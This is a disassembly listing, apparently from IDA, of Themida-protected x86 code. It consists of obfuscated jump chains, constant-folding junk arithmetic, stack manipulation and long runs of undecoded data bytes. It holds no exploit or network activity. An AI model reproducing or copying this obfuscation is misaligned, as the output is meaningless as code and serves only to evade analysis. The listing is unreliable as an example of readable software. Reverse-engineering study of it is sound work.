; ---------------------------------------------------------------------------


loc_5003FF:				; CODE XREF: Themida_:005003CEj
		pop	esi
		add	ebx, 0CD112520h
		push	ebx
		mov	ebx, 57B90CC0h
		xor	ebx, 3E844D4Ch
		sub	ebp, ebx
		pop	ebx
		jmp	loc_50227B
; ---------------------------------------------------------------------------


loc_50041A:				; CODE XREF: Themida_:005007CBj
		mov	ch, bh
		jmp	loc_504A29
; ---------------------------------------------------------------------------
		db 5Bh,	56h, 53h
		dd 3C7464BBh, 41F6E912h, 0FB290000h, 0B9515Fh, 8131C966h
		dd 0F80D2FC3h, 4F10E941h, 2C890000h, 4EC8124h, 89000000h
		dd 6E9242Ch, 81000018h,	0B63427F7h, 12F78121h, 0E93CE753h
		dd 6C25h
; ---------------------------------------------------------------------------


loc_500464:				; CODE XREF: Themida_:00507559j
		pop	edx
		sub	bl, al
		push	small 355Dh
		mov	[esp], dx
		mov	dh, 4Ah
		add	bl, dh
		mov	dx, [esp]
		push	89Fh
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 2
		xchg	edi, [esp]
		pop	esp
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h
		dd 48B66C3h, 3A39E924h,	0EFC10000h, 5EE4E902h, 0C8B0000h
		dd 2845E924h, 0FB290000h, 7006EB81h, 835F0FDCh,	36E904ECh
		dd 310000A2h, 3C33243Ch, 24248B24h, 24040166h, 0EBEBE99Ch
		dd 1489FFFFh, 55E28924h, 7C3068h, 24048900h, 8B0A50B8h
		dd 5056BD67h, 0FDE9CBDBh, 0F6000060h, 0E9C388D0h, 432Ah
; ---------------------------------------------------------------------------


loc_5004FC:				; CODE XREF: Themida_:004FF139j
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_50A136
; ---------------------------------------------------------------------------
		dd 5C241487h, 83DAF74Ah, 80E901EAh, 8900001Ch, 9968241Ch
		dd 8900005Ch, 0F0E92414h, 8100003Ah, 4C4h, 5D545500h, 4C581h
		dd 0BE560000h, 4, 0E95EF501h, 67F1h, 6F2EA0BEh,	5EF3012Ch
		dd 165CE9h, 8E6C100h, 9176EE81h, 0F0899817h, 0FFF3DAE9h
		dd 2E9ADFFh, 830000A4h,	90E904C4h, 81000037h, 94F683EBh
		dd 8BDF89BFh, 0C481241Ch, 4, 815FFB01h,	0AB080DC3h, 2BC9E936h
		dd 0C4830000h, 5569E904h, 55580000h, 490BB53h, 4CE95F44h
		dd 59000016h, 8304C483h, 896602ECh, 8668241Ch, 8900005Fh
		dd 0ECE92414h, 5000007Bh, 161273B8h, 64542536h,	1A056D62h
		dd 312E6F1Ch, 0C28158C7h, 6359054Eh, 0EA81FA01h, 6359054Eh
		dd 0DEB8505Fh, 0E95B7175h, 9917h, 1C8BDE01h, 0E2895224h
		dd 4C281h, 0C2810000h, 4, 5C241487h, 31243433h,	34332434h
		dd 24248B24h, 9C240CFEh, 11A4E9h, 73E95900h, 52000063h
		dd 36E9B850h, 89566E54h, 0E9F289C6h, 6E44h, 0C281EA01h
		dd 25E23953h, 4EC835Dh,	0FF241489h, 5A042474h, 4B46E9h
		dd 0E6BB5300h, 294D3B2Ah, 5B08245Ch, 9EC9E956h,	0C2000000h
		dd 66D03058h, 8324148Bh, 0C33002C4h, 42EB68h, 24148900h
		dd 3FCBAh, 0A4EF8100h, 129BB51h, 7AC1E9D7h, 1C870000h
		dd 39E95C24h, 100006Fh,	0B2685EF3h, 89000077h, 4BF243Ch
		dd 1000000h, 99E95FFBh,	8FFFFECh, 1C8B66DEh, 2C48124h
		dd 50000000h, 0E630D5B4h, 8124048Bh, 4C4h, 8BF03000h, 0C4832414h
		dd 50526604h, 0E950B6B0h, 0A173h
; ---------------------------------------------------------------------------


loc_5006E0:				; CODE XREF: Themida_:005090A5j
		mov	edi, ebx
		pop	ebx
		neg	edi
		shr	edi, 6
		xor	edi, 313625DBh
		push	edx
		jmp	loc_50799F
; ---------------------------------------------------------------------------
		dd 48BC209h, 4C48124h, 81000000h, 884D78F2h, 9769E972h
		dd 0EB800000h, 5BDC0040h, 0C064EC80h, 98E902E4h, 0BA0000ABh
		dd 6BA815CAh, 585AD301h, 3B86B951h, 0C181465Dh,	2381180Ch
		dd 0C8BCB29h, 0E3895324h, 4C381h, 0E9550000h, 4BC6h, 5B66FD28h
		dd 0F6F8CD80h, 21B252DDh, 148BD500h, 4C48124h, 83000000h
		dd 0E0E904ECh, 89000030h, 7968241Ch, 0E9000029h, 0A05Dh
		dd 0E981D101h, 7B4D464Fh, 81D9015Ah, 9D2B75E9h,	0C1835B4Ch
		dd 240C8704h, 0E924248Bh, 8204h
; ---------------------------------------------------------------------------


loc_500790:				; CODE XREF: Themida_:005076BEj
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5095D6
; ---------------------------------------------------------------------------


loc_50079E:				; CODE XREF: Themida_:00509194j
		add	ebp, 6DD1943Fh
		sub	eax, ebp
		mov	ebp, [esp]
		jmp	loc_50424B
; ---------------------------------------------------------------------------
		dw 405h
		dd 83000000h, 48704C0h,	87595C24h, 0E95C2434h, 875Eh
; ---------------------------------------------------------------------------


loc_5007C4:				; CODE XREF: Themida_:004FF669j
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_50041A
; ---------------------------------------------------------------------------


loc_5007D0:				; CODE XREF: Themida_:00508E4Fj
		mov	edx, esp
		add	edx, 4
		jmp	loc_504F5C
; ---------------------------------------------------------------------------


loc_5007DD:				; CODE XREF: Themida_:00500AE4j
		mov	ebx, edi
		pop	edi
		xor	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp]
		jmp	loc_5058BD
; ---------------------------------------------------------------------------
		db 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		jmp	loc_509BA3
; ---------------------------------------------------------------------------
		db 2Dh,	0C0h, 51h
		dd 0D0013123h, 2351C005h, 4EB7E931h, 835C0000h,	3E904ECh
		dd 4B00001Bh, 0E957D3F7h, 9E27h, 4EC835Fh, 0E9243C89h
		dd 2E75h, 295EF589h, 0EF0158C5h, 5D2434FFh, 4C481h, 3C330000h
		dd 243C3124h, 0E9243C33h, 35DEh, 6516E9ADh, 0DAF70000h
		dd 0F443EA81h, 0D7898326h, 8BCF015Ah, 0C481240Ch, 4, 2D9CE9h
		dd 5FFA0900h, 0EA6EA81h, 0D001DFCFh, 0F28E95Ah,	0EB810000h
		dd 2C6F2EA0h, 76D6B951h, 57E923ABh, 5F00002Dh, 8B241C87h
		dd 25E92424h, 66000072h, 6824048Bh, 0BCh, 89241489h, 246A68E2h
		dd 2C890000h, 4BD24h, 0EA010000h, 81242C8Bh, 4C4h, 0D486800h
		dd 2C890000h, 10B9BD24h, 0EDC15F48h, 0F74BE902h, 2ABBFFFFh
		dd 0E944CA7Dh, 47A8h, 355FF829h, 6607BEC1h, 24D2E9h, 212CAC00h
		dd 5251D800h, 0B689B450h, 58E62810h, 0E9C3EE80h, 94Dh
; ---------------------------------------------------------------------------


loc_500914:				; CODE XREF: Themida_:0050AF4Aj
		push	ebp
		push	eax
		jmp	loc_505ED4
; ---------------------------------------------------------------------------
		db 0BBh
		dd 7D2C397Eh, 4095E981h, 0D9290F3Bh, 4095C181h,	0BCE90F3Bh
		dd 89000014h, 4812424h,	424h, 0F1DBE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_500942:				; CODE XREF: Themida_:0050610Aj
		push	ecx
		mov	ecx, 123F777Bh
		sub	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		shl	ebx, 8
		xor	ebx, 37E02D14h
		sub	ebx, 1
		xor	ebx, 1E070032h
		jmp	loc_5056F3
; ---------------------------------------------------------------------------
		dw 0ABB9h
		dd 0F711A03Fh, 0DAC981D9h, 0F75BC84Ch, 44C181D9h, 297BD54Ah
		dd 5DADE9CAh, 14890000h, 0FE66B624h, 0DACE80C6h, 6603EEC0h
		dd 0B050h, 85866C6h, 0EFC05AF7h, 0E1895105h, 4C181h, 0F8E90000h
		dd 83FFFFF9h, 48704C0h,	7F055C24h, 2D45994Bh, 31A81491h
		dd 0FFEECFE9h, 240483FFh, 2434FF04h, 81241C8Bh,	4C4h, 124CE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5009DA:				; CODE XREF: Themida_:00509AC7j
		add	edx, ecx
		pop	ecx
		jmp	loc_504FFE
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 4, 48BC101h,	4C48124h, 0E9000000h, 6FDDh, 0E9CE04ACh
		dd 4F46h
; ---------------------------------------------------------------------------


loc_500A00:				; CODE XREF: Themida_:005069C6j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 0AC61787h
		xor	[esp+4], edi
		pop	edi
		pop	dword ptr [edi+20h]
		jmp	loc_500C0C
; ---------------------------------------------------------------------------


loc_500A19:				; CODE XREF: Themida_:00505ECFj
		or	edx, eax
		shl	edx, 1
		push	eax
		mov	eax, esp
		jmp	loc_50AE36
; ---------------------------------------------------------------------------
		db 68h,	44h, 52h
		dd 685D113Ch, 73ECh, 0E9240489h, 507Dh,	28BF5753h, 89482426h
		dd 0A9E95FFBh, 8F000094h, 0EC832404h, 240C8904h, 4B9h
		dd 68515500h, 6011186Bh, 3C33E9h
		db 0
; ---------------------------------------------------------------------------


loc_500A61:				; CODE XREF: Themida_:00507245j
		neg	al
		jmp	loc_503E68
; ---------------------------------------------------------------------------


loc_500A68:				; CODE XREF: Themida_:005072FAj
		sub	esp, 4
		jmp	loc_504B4D
; ---------------------------------------------------------------------------


loc_500A73:				; CODE XREF: Themida_:00506718j
		push	dword ptr [esp]
		pop	eax
		push	ebx
		push	esp
		pop	ebx
		push	eax
		sub	esp, 4
		mov	[esp], ecx
		push	2EA7281Eh
		pop	ecx
		sub	ecx, 2EA7281Ah
		mov	eax, ecx
		pop	ecx
		add	ebx, eax
		jmp	loc_500AC2
; ---------------------------------------------------------------------------
		dw 0E901h
		dd 949BE9h, 53D9F700h, 0FFFE72E9h, 4BBFFh, 0D9010000h
		dd 2C1815Bh, 83000000h,	0C8904ECh, 4825E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_500AC2:				; CODE XREF: Themida_:00500A95j
		pop	eax
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	ebx
		push	edi
		mov	edi, 0D4655AFh
		inc	edi
		or	edi, 15C53006h
		sub	edi, 35593805h
		add	edi, 7490C77Fh
		jmp	loc_5007DD
; ---------------------------------------------------------------------------
aXuvQd1sqv	db 'XUVd1q',0
		align 2


loc_500AF6:				; CODE XREF: Themida_:0050A470j
		push	46CAh
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	4B3Eh
		mov	[esp], eax
		push	edi
		mov	edi, 2D2D4D0Ch
		xor	edi, 6F3A63FFh
		sub	edi, 0DD17B7F2h
		mov	eax, edi
		jmp	loc_509920
; ---------------------------------------------------------------------------
		db 53h
		dd 33A0BA52h, 0F74231B3h, 20F281DAh, 811C0F1Eh,	37CB55F2h
		dd 0E9D389D1h, 1DDAh, 1BA5256h,	83000000h, 148904ECh, 5221E924h
		dd 15F0000h, 0BF575FF9h, 6F2527CBh, 0EFC1D7F7h,	47D7F707h
		dd 69B268h, 242C8900h, 0FFF4FDE9h, 0B2EB80FFh, 282EC380h
		dd 505166C3h, 0D026B252h, 0BEA80E2h, 80E0C280h,	0D48887F2h
		dd 1EC805Ah, 7A1168h, 241C8900h, 0E9E966B3h, 8B000090h
		dd 89562404h, 4C681E6h,	81000000h, 4C6h, 525FE900h, 0C7800000h
		dd 0E9F98844h, 446Dh, 0C5815A59h, 0F068F34Dh, 2C8BE921h
		dd 4EB4E924h, 505A0000h, 60E0E9h, 4C48300h, 0E9242C8Bh
		dd 8EEEh
; ---------------------------------------------------------------------------


loc_500BE8:				; CODE XREF: Themida_:00508C17j
		push	25E0h
		jmp	loc_509148
; ---------------------------------------------------------------------------
		dw 4268h
		dd 8900006Dh, 1AE9241Ch, 8B00008Eh, 0D3662424h,	0E99C2424h
		dd 0FFFFE4B5h
; ---------------------------------------------------------------------------


loc_500C0C:				; CODE XREF: Themida_:00500A14j
		xor	dword ptr [edi+20h], 0AC61787h
		jmp	loc_50A1DB
; ---------------------------------------------------------------------------
		dd 2D685751h, 5F34251Ah, 38F0BA52h, 0D7210A9Ch,	780BE9h
		db 0
; ---------------------------------------------------------------------------


loc_500C2D:				; CODE XREF: Themida_:005038F2j
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_4FF0C1
; ---------------------------------------------------------------------------


loc_500C3D:				; CODE XREF: Themida_:0050B03Cj
		mov	edx, 166743F2h
		add	edi, edx
		pop	edx
		add	edi, 5F1BFF5Ch
		and	ecx, edi
		pop	edi
		dec	ecx
		inc	ecx
		push	eax
		mov	eax, 7DB61F2Ah
		add	ecx, eax
		pop	eax
		xor	ecx, 96910598h
		sub	eax, 33F65DEEh
		sub	eax, ecx
		add	eax, 33F65DEEh
		pop	ecx
		push	ebx
		push	edx
		mov	edx, 6E490DFAh
		sub	esp, 4
		mov	[esp], edx
		pop	ebx
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_501FE8
; ---------------------------------------------------------------------------
aISpl		db '$$鏋',0
		align 2


loc_500C8E:				; CODE XREF: Themida_:0050AB4Aj
		xchg	esi, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 64517D1h
		and	eax, 0BCC2EAEh
		jmp	loc_506C5A
; ---------------------------------------------------------------------------


loc_500CA7:				; CODE XREF: Themida_:00509AD1j
		or	ebx, ecx
		pop	ecx
		shr	ebx, 3
		neg	ebx
		jmp	loc_50942A
; ---------------------------------------------------------------------------


loc_500CB4:				; CODE XREF: Themida_:00508D18j
		not	eax
		push	edi
		push	eax
		mov	edi, [esp]
		push	1800h
		jmp	loc_502600
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 7CE904h, 0EFC10000h,	0C5E78104h, 81455515h, 0FBFE44C7h
		dd 5FFD01FAh, 4C581h, 2C870000h, 0F0015C24h, 8324348Bh
		dd 0BE5604C4h, 0C180E81h, 0FFE72DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_500CFD:				; CODE XREF: Themida_:00503E0Fj
		pop	edi
		push	ebp
		mov	ebp, 3099095Ah
		shl	ebp, 5
		jmp	loc_509186
; ---------------------------------------------------------------------------
		dd 0EC80C4FEh, 58E6883Fh, 0A47CE9h, 24248B00h, 4EC81h
		dd 3C890000h, 7E59E924h, 895C0000h, 22E9243Ch, 66FFFFECh
		dd 86E930FFh, 81FFFFE3h, 4C5h, 242C8700h, 0E377E95Ch, 8F5BFFFFh
		dd 815C2404h, 0B1300BC6h, 81C6015Fh, 0B1300BEEh, 2434FF5Fh
		dd 4C48358h, 630E68h, 24348900h, 69243481h, 0FF6D4875h
		dd 535F2434h, 5035E9h, 4A170500h, 0F8013E2Bh, 2B4A172Dh
		dd 9F4BE93Eh, 3C290000h, 0EC835F24h, 240C8904h,	998091B9h
		dd 8B50E96Bh, 0C6010000h, 757CEE81h, 31587575h,	0BE565EF0h
		dd 2963F47h, 11C0B951h,	0BA525BBCh, 7E434640h, 8104EAC1h
		dd 70829DF2h, 5AD12957h, 972E9h, 0BEC78100h, 0E97DE30Eh
		dd 9526h, 4C3815Fh, 87000000h, 815C241Ch, 0B57B5EC5h, 4EC8119h
		dd 89000000h, 0F9BE2434h, 536484ECh, 9621F8BBh,	901E91Dh
		dd 5F540000h, 3D45BA52h, 814A5B3Fh, 3F3D40F2h, 5AD7015Bh
		dd 18C2E9h, 4ABF6800h, 4890000h, 0E297E924h, 0C481FFFFh
		dd 4, 4C181h, 0BF570000h, 2, 34FFF901h,	89525F24h, 4C281E2h
		dd 55000000h, 4BDh, 5594E900h, 0C6810000h, 4, 4C681h, 0DFE90000h
		dd 0C0000040h, 0D7F604EFh, 3C37E9h, 240C8B00h, 51668h
		dd 24048900h, 1BB468h, 24248900h, 11BE9h, 4C48100h, 0E9000000h
		dd 13ABh
; ---------------------------------------------------------------------------


loc_500E94:				; CODE XREF: Themida_:0050AAF9j
		mov	edx, [esp]
		add	esp, 4
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	6599h
		mov	[esp], edx
		jmp	loc_502452
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 58669D1Ch, 24041166h, 0E1F7E99Ch, 0F301FFFFh, 8324348Bh
		dd 55E904C4h, 5A000068h, 591C4F21h, 0FFE1E0E9h,	83D3F6FFh
		dd 896602ECh, 22B22414h, 0DE9D300h, 5100009Bh, 0C2885253h
		dd 885AD388h, 5C4EE9DDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_500F02:				; CODE XREF: Themida_:00502B08j
		xchg	edx, [esp]
		jmp	loc_505ECC
; ---------------------------------------------------------------------------
aTs9		db 'T9=',0
		align 10h
		dd 9CC83B5Ch, 0FFE1A8E9h, 0FBCF80FFh, 1F55E9h, 2890B400h
		dd 7374E9E7h, 0C7810000h, 753D7F33h, 5FFE895Dh,	45C3F681h
		dd 0F33112DBh, 0E1EB815Eh, 0E9AA2E94h, 6ADCh, 240C8B66h
		dd 0EE74E950h, 0F787FFFFh, 4618C781h, 0F801004Ch, 4055Fh
		dd 4330000h, 24043124h,	8B240433h, 34FF2424h, 24148B24h
		dd 0FFE40DE9h, 0E9575EFFh, 90C0h, 4C281h, 14870000h, 685C24h
		dd 0E900001Eh, 807Ah
; ---------------------------------------------------------------------------


loc_500F94:				; CODE XREF: Themida_:005079B9j
		pop	edx
		sub	edx, edi
		pop	edi
		pop	eax


loc_500F99:				; CODE XREF: Themida_:00503C41j
					; Themida_:00504AD5j
		push	dword ptr [edi+24h]
		push	dword ptr [esp]
		jmp	loc_4FF702
; ---------------------------------------------------------------------------
		dd 4240481h, 8B000000h,	0E9552404h, 18CDh, 288AC280h, 75A0E9D0h
		dd 0E7810000h, 49523F49h, 9350E9h, 0BB534700h, 1F4C57B5h
		dd 98CEB81h, 0DF01BBABh, 6F24E9h, 0C0B70F00h, 41096866h
		dd 24048966h, 0FFE0D4E9h, 4EC83FFh, 24048F54h, 4240483h
		dd 5A2434FFh, 5A45E953h, 51580000h, 0BA52E189h,	4, 815AD101h
		dd 4E9h, 240C8700h, 242C895Ch, 242C8B54h, 81E18951h, 4C1h
		dd 7F6EE900h, 5D540000h, 4C581h, 0E90000h, 0FFFFFFFDh
		dd 3EE92434h, 0BAFFFFE7h, 4, 60DEED81h,	0D50164FAh, 60DEC581h
		dd 34FF64FAh, 0C4835A24h, 242C8704h, 4F67E9h, 99BF5700h
		dd 0C17D5972h, 534707E7h, 46B381BBh, 5BDF0153h,	68E9C681h
		dd 94E90D87h, 8900009Bh, 405E0h, 0C0830000h, 24048704h
		dd 59DBE9h, 5EDB6800h, 3C890000h, 2474FF24h, 48F5F04h
		dd 24248B24h, 592434FFh, 624468h, 9357E900h, 0FBF0000h
		dd 0E97AEA1Ch, 0FFFFFC0Eh
; ---------------------------------------------------------------------------


loc_5010C0:				; CODE XREF: Themida_:0050573Aj
		sub	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		push	edi
		mov	edi, 310B2038h
		mov	eax, 1DF4F50Ah
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		shr	eax, 4
		push	ebp
		mov	ebp, 3BE20221h
		sub	eax, 1774545Ah
		add	eax, ebp
		add	eax, 1774545Ah
		pop	ebp
		xor	eax, 40D203F5h
		and	ecx, eax
		pop	eax
		jmp	loc_507D84
; ---------------------------------------------------------------------------
		db 66h
		dd 5024048Bh, 739BE9h
		db 0
; ---------------------------------------------------------------------------


loc_501115:				; CODE XREF: Themida_:00504257j
		mov	eax, 74A853CCh
		sub	dword ptr [esp+4], 72C50355h
		jmp	loc_5097D1
; ---------------------------------------------------------------------------
		db 0FFh
a4Sm_		db '4$_',0
		dw 6600h
		dd 5124348Bh, 0BD55E189h, 0CDA0B8Dh, 0FFE49EE9h, 40558FFh
		dd 5000000h, 4,	5C240487h, 4E84E9h, 45410500h, 24E92AF2h
		dd 57FFFFEEh, 268FE9h, 0E8C15C00h, 68C83108h, 755Bh, 87240489h
		dd 0B0E92414h, 53000012h, 8DB1E9h
		db 0
; ---------------------------------------------------------------------------


loc_501181:				; CODE XREF: Themida_:005033E5j
		xor	edx, 0CBF4284h
		push	esi
		mov	esi, 54097A4Ch
		add	esi, 39127FD5h
		dec	esi
		jmp	loc_506B7A
; ---------------------------------------------------------------------------
		db 5Ah,	1, 0F0h
		dd 74FF505Eh, 8F580424h, 248B2404h, 0C8B6624h, 2F5C6824h
		dd 2C890000h, 81E58924h, 4C5h, 26E900h,	15B0000h, 243C8BF9h
		dd 88C4E9h
		db 0
; ---------------------------------------------------------------------------


loc_5011CD:				; CODE XREF: Themida_:00507019j
		pop	ebp
		mov	edi, edx
		mov	edx, [esp]
		add	esp, 4
		push	edi
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_4FF587
; ---------------------------------------------------------------------------
		dd 4EC81h, 1C890000h, 319DE924h, 0C6E90000h, 0F7FFFFDEh
		dd 65F381D3h, 550C5A15h, 8F0BD0BDh, 0F1C5812Ah,	0F71A7149h
		dd 32ED81D5h, 292F916Eh, 242C8BEBh, 0FFEEAAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_501221:				; CODE XREF: Themida_:004FF195j
		mov	esp, [esp]
		jmp	loc_506853
; ---------------------------------------------------------------------------


loc_501229:				; CODE XREF: Themida_:005058C4j
		mov	[esp], ebp
		mov	ebp, 1D3B26F5h
		sub	esp, 4
		mov	[esp], ebp
		pop	ecx
		pop	ebp
		xchg	eax, ecx
		push	eax
		not	dword ptr [esp]
		jmp	loc_506BE8
; ---------------------------------------------------------------------------


loc_501246:				; CODE XREF: Themida_:00508FF9j
		div	cl
		jmp	loc_501CFB
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 22h
		dd 4642BB60h, 0CE81DEF7h, 4DEB1D1Bh, 0FFF304E9h, 8BF188FFh
		dd 0C4832414h, 0F6FE904h, 34FF0000h, 76E95A24h,	6600001Bh
		dd 0E9240C8Bh, 3837h, 5EE9E289h, 0FFFFFFECh, 525D2434h
		dd 0C281E289h, 4, 6E19E9h, 4C68300h, 6C5468h, 24348900h
		dd 42474FFh, 0E92434FFh, 370Eh
; ---------------------------------------------------------------------------


loc_5012B0:				; CODE XREF: Themida_:00505305j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		sub	esi, 4
		jmp	loc_507066
; ---------------------------------------------------------------------------
		db 81h
		dd 0EF3F0CE7h, 4D03E935h, 0FF5F0000h, 0E9582434h, 2DCBh
		dd 83243C8Bh, 0C38104C4h, 2C144316h, 0BC68C329h, 89000006h
		dd 0E953243Ch, 3F54h, 8B2434FFh, 0C4832404h, 0E2895204h
		dd 4B951h, 0CA010000h, 22B6859h, 3C890000h, 7D236824h
		dd 0C890000h, 6C52E924h, 492C0000h, 4904F828h, 461FE95Bh
		dd 4F310000h, 2434FF24h, 8C08E9h, 81C10100h, 1609D3C1h
		dd 80B8E906h, 34FF0000h, 0CBE95F24h, 89000094h,	0BA52240Ch
		dd 234F3F6Fh, 7724E9h, 24348B00h, 8904C483h, 0D3895DEAh
		dd 0E984E95Ah, 0C381FFFFh, 65331507h, 2159C281h, 0B9517CC1h
		dd 3D125A91h, 54BEF181h, 0D9F7574Eh, 1789C981h,	57E93FF2h
		dd 83000018h, 16E904ECh
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5013AF:				; CODE XREF: Themida_:004FF40Dj
		and	ecx, esi
		pop	esi
		xor	ecx, 4510482Dh
		inc	ecx
		jmp	loc_502173
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 4895C24h, 4BAEE924h,	0C3000000h, 2CC9B050h, 0DF23E988h
		dd 0F766FFFFh, 0D0F766D8h, 4C4D0D66h, 4E8C166h,	19F8E9h
		dd 0E7814F00h, 0B400728h, 402F781h, 0F9890000h,	7AE9535Fh
		dd 5000018h, 4,	2474FF50h, 48F5804h, 24248B24h,	51C8AF0Fh
		dd 0DCA7E99Ch, 348BFFFFh, 4C48124h, 81000000h, 4C6h, 0FC37E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50142E:				; CODE XREF: Themida_:0050747Fj
		pop	esp
		push	edi
		jmp	loc_503351
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 0E7h
		dd 0F75F7021h, 0F6E681DEh, 52722532h, 850BDBAh,	5CF28119h
		dd 5031BE3Ch, 4F4E0BB8h, 0F29AE95Ah, 0E950FFFFh, 63FFh
		dd 4EC81h, 3C890000h, 56E78924h, 4BEh, 59EF8100h, 81595C64h
		dd 0B001F5EFh, 81F70160h, 0B001F5C7h, 31CAE960h, 0F1810000h
		dd 7D87190Fh, 1CC5E9h, 0E9E08900h, 29F8h, 0FFDC20E9h, 19E955FFh
		dd 5500008Bh, 477AE9h, 41AD6800h, 34890000h, 832AE924h
		dd 92B80000h, 291B8126h, 39E958C2h, 4100009Bh, 1A64BA52h
		dd 0E2C177D6h, 5EB2E906h, 58590000h, 8B66F300h,	0C4832414h
		dd 0E9C32802h, 0FFFFEE28h, 0C581FD29h, 1DD55D4Eh, 81243C8Bh
		dd 4C4h, 8BEF2900h, 0C481242Ch,	4, 895250FDh, 3905E9E2h
		dd 632D0000h, 8B58E93Dh, 8957240Ch, 4C781E7h, 50000000h
		dd 4B8h, 58C70100h, 61BEE9h, 0E1895100h, 2855E9h, 0B7B95100h
		dd 0F72F972Dh, 1E981D1h, 81000000h, 0EA4E75C1h,	0B8F18115h
		dd 1E65320h, 6E88E9CEh,	3C870000h, 24248B24h, 9B35351h
		dd 0F605EBC0h, 80D3F6DBh, 0CB80D5F3h, 6DC0E91Dh, 14890000h
		dd 81E28924h, 4C2h, 4C28100h, 87000000h, 5D5C2414h, 0FFDB34E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50158D:				; CODE XREF: Themida_:0050173Ej
		push	dword ptr [esp]
		pop	esi
		push	ebp
		jmp	loc_50425C
; ---------------------------------------------------------------------------


loc_501597:				; CODE XREF: Themida_:00507368j
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_502E54
; ---------------------------------------------------------------------------


loc_5015A0:				; CODE XREF: Themida_:00507B16j
		shr	ebx, 6
		push	edi
		mov	edi, 72713921h
		shl	edi, 2
		jmp	loc_50007E
; ---------------------------------------------------------------------------
aYa		db 'Y',0
		db '[',0
		db 0E8h, 2Ch, 57h
		dd 0E923B353h, 1CC6h, 882DCABEh, 3E94669h
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5015CF:				; CODE XREF: Themida_:0050A5F8j
		sub	esp, 4
		mov	[esp], ebx
		pop	edx
		push	ebx
		mov	ebx, edx
		mov	ebp, ebx
		pop	ebx
		jmp	loc_50764C
; ---------------------------------------------------------------------------
		dd 0EDA1F181h, 0C3811FBBh, 174D5792h, 0BD55CB01h, 2C404440h
		dd 4A6EBF57h, 17E97AFAh, 31000049h, 0E9575EF0h,	808Ch
		dd 247668h, 240C8900h, 3DD268h,	24248900h, 72F3E9h, 24248B00h
		dd 2D53E9h, 5B73B800h, 0EB051F0Dh, 50F10F40h, 9A6399B8h
		dd 2E0C15Fh, 5F7FE940h,	7C880000h, 5B660224h, 1BE0E9h
		db 0
; ---------------------------------------------------------------------------


loc_50164D:				; CODE XREF: Themida_:00504419j
		not	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		jmp	loc_4FF8EA
; ---------------------------------------------------------------------------
		dd 80DE0D1h, 516B6E2Fh,	2F59EAB9h, 8BC8096Bh, 2FE9240Ch
		dd 87FFFFEFh, 8E2C1CAh,	2209F281h, 0C2814680h, 4C998FFBh
		dd 4E6CE9h
		db 0
; ---------------------------------------------------------------------------


loc_501689:				; CODE XREF: Themida_:005064F0j
		push	303Ah
		mov	[esp], edi
		mov	eax, [esp]
		push	edi
		jmp	loc_5085E1
; ---------------------------------------------------------------------------
		dw 0E681h
		dd 621C0A03h, 0BA52D6F7h, 43A476E5h, 81DAF74Ah,	6D624CC2h
		dd 42E94230h, 0B700003Fh, 8E33E94Fh, 8F660000h,	0EC832404h
		dd 2C896602h, 189E6824h, 4890000h, 0D686624h, 66586660h
		dd 6608E8C1h, 0E944992Dh, 3F7Dh, 0E95F5A57h, 1A55h, 0E924348Bh
		dd 86ACh, 0C8B665Ch, 0E7895724h, 8904EC83h, 0F6E92434h
		dd 0C1FFFFE3h, 0E7E908E3h, 9FFFFDDh, 348B1C77h,	4C48324h
		dd 46368h, 24148900h, 2CBD5553h, 29560B3Ch, 0E904246Ch
		dd 6C69h
; ---------------------------------------------------------------------------


loc_501730:				; CODE XREF: Themida_:0050006Dj
		pop	esp
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_50158D
; ---------------------------------------------------------------------------
		db 21h
		dd 0CE8159CEh, 6CB91451h, 2404FF56h, 5630E9h
		db 0
; ---------------------------------------------------------------------------


